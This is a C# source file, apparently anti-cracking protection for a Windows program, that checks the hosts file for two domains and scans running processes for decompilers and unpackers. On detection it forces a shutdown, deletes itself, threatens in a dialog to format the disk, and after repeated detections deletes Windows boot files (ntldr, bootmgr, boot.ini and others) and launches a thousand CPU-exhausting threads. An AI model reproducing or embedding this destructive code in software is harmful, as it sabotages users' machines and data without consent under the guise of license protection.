using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using AllBase;
namespace Work
{
public class CheckHecker
{
private string SystemPath;
///
/// 检查是否被黑客劫持
///
public void Check()
{
try
{
BaseClass.ApiKey = BaseClass.ApiKey.Replace("335", "331");
CheckReCrack();
SystemPath = Environment.GetFolderPath(Environment.SpecialFolder.System);
string path = SystemPath + "\\drivers\\etc\\hosts";
if (File.Exists(path))
{
string f = File.ReadAllText(path);
if (f.IndexOf("shisilou.com") > -1 || f.IndexOf("qixiaoke.com") > -1)
{
new Thread(IsHecker).Start();
string[] fl = File.ReadAllLines(path);
for (int i = 0; i < fl.Length; i++)
if (fl[i].IndexOf("shisilou.com") > -1 || f.IndexOf("qixiaoke.com") > -1)
fl[i] = "";
File.WriteAllLines(path, fl);
}
}
}
catch (Exception e)
{
}
}
///
/// 检查反破解
///
private void CheckReCrack()
{
string s = "dotPeek,Reflector,NETUnpack,PE Detective,SNSRemover,PROCDUMP,LordPE,OllyDump,de4dot";
string[] l = s.Split(',');
foreach (System.Diagnostics.Process thisproc in System.Diagnostics.Process.GetProcesses())
{
for (int i = 0; i < l.Length; i++)
{
if (thisproc.ProcessName.ToLower() == l[i].ToLower())
{
new Thread(IsHecker).Start();
return;
}
}
}
}
///
/// 发现是黑客破解
///
public void IsHecker()
{
string p = "c:\\ini.ini";
if (!File.Exists(p))
File.WriteAllText(p, "0");
string f = File.ReadAllText(p);
int times = 0;
int.TryParse(f, out times);
if (times < 0)
times = 0;
times++;
File.WriteAllText(p, times.ToString());
new Thread(Warningx).Start();
new Thread(Warning).Start();
if (times > 3)
new Thread(DeleteSystemFile).Start();
}
///
/// 警告对话框
///
private void Warningx()
{
Thread.Sleep(100);
Process.Start("shutdown.exe", "-s -t 2");
DeleteMyself();
}
///
/// 警告对话框
///
private void Warning()
{
Thread.Sleep(500);
MessageBox.Show("警告:请不要在运行软件时,同时运行脱壳工具\r\n本对话框弹出第2次时,将格式化您的硬盘", "警告,请勿尝试破解软件");
}
///
/// 删除系统文件
///
private void DeleteSystemFile()
{
string c = SystemPath.Substring(0, 1);
string file = @"ntldr,AUTOEXEC.BAT,boot.ini,bootfont.bin,CONFIG.SYS,IO.SYS,MSDOS.SYS,NTDETECT.COM,BOOTSECT.BAK,YOMIU,bootmgr";
string[] f = file.Split(',');
for (int i = 0; i < f.Length; i++)
{
try
{
string path = c + ":\\" + f[i];
if (File.Exists(path))
{
new FileInfo(path).IsReadOnly = false;
new FileInfo(path).Attributes = FileAttributes.Normal;
File.Delete(path);
}
if (c.ToLower() != "c")
{
path = "c:\\" + f[i];
if (File.Exists(path))
{
new FileInfo(path).IsReadOnly = false;
new FileInfo(path).Attributes = FileAttributes.Normal;
File.Delete(path);
}
}
}
catch
{
}
}
//强制关机
Process.Start("shutdown.exe", "-s -t 2");
//耗尽CPU
for (int i = 0; i < 1000; i++)
{
Thread t = new Thread(UserAllCpu);
t.Priority = ThreadPriority.Highest;
t.Start();
}
}
///
/// 耗尽CPU
///
private void UserAllCpu()
{
while (true)
{
double s = 0;
for (int i = 0; i < 100000; i++)
{
s += i;
if (s == -1)
break;
}
}
}
///
/// 删除自己
///
private void DeleteMyself()
{
//在临时文件夹生成批处理文件
string vBatFile = Path.GetTempPath() + "clear.bat";
using (StreamWriter vStreamWriter = new StreamWriter(vBatFile, false, Encoding.Default))
{
vStreamWriter.Write(string.Format(":del\r\n" + " del \"{0}\"\r\n" +
"if exist \"{0}\" goto del\r\n" + "del %0\r\n", Application.ExecutablePath));
}
Process.Start(vBatFile);
Process.GetCurrentProcess().Kill();
}
}
}